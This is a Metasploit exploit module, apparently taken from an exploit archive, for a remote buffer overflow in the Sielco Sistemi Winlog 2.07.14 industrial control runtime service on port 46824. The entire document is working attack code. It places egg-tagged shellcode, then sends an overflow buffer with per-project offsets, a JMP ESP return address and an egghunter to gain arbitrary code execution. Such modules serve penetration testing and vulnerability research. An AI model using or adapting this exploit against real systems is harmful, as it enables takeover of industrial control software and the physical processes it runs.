Sielco Sistemi Winlog 2.07.14 – Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14', 'Description' => %q{ This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.14. When sending a specially formatted packet to the Runtime.exe service on port 46824, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'm-1-k-3 <m1k3[at]s3cur1ty.de>' ], 'References' => [ [ 'BID', '53811'], [ 'URL', 'http://www.s3cur1ty.de' ], [ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00", 'DisableNops' => true, }, 'Platform' => 'win', 'Targets' => [ [ 'Sielco Sistemi Winlog 2.07.14 - Ceramics Kiln Project', { 'Ret' => 0x405153df, 'Offset' => 167, } ], # Jmp ESP - Vclx40.bpl - 0x405153df [ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project', { 'Ret' => 0x405153df, 'Offset' => 151, } ], # Jmp ESP - Vclx40.bpl - 0x405153df #The reliability depends on the actual project. We need to generate some more #targets. Two of them for the default project and one other project is now available. ], 'Privileged' => false, 'DisclosureDate' => 'Jun 04 2012', 'DefaultTarget' => 0)) register_options([Opt::RPORT(46824)], self.class) end def exploit connect egghunter,egg = generate_egghunter(payload.encoded, payload_badchars) print_status("Placing the shellcode") shellcode = rand_text_alpha(2000) shellcode << egg sock.put(shellcode) select(nil,nil,nil,1) buffer = rand_text_alpha(20) buffer << "\x14" * 10 #trigger the crash buffer << rand_text_alpha(target['Offset']) buffer << [target.ret].pack('V') buffer << egghunter buffer << rand_text_alpha(69 - egghunter.length) print_status("Trying target #{target.name}...") sock.put(buffer) handler disconnect end end |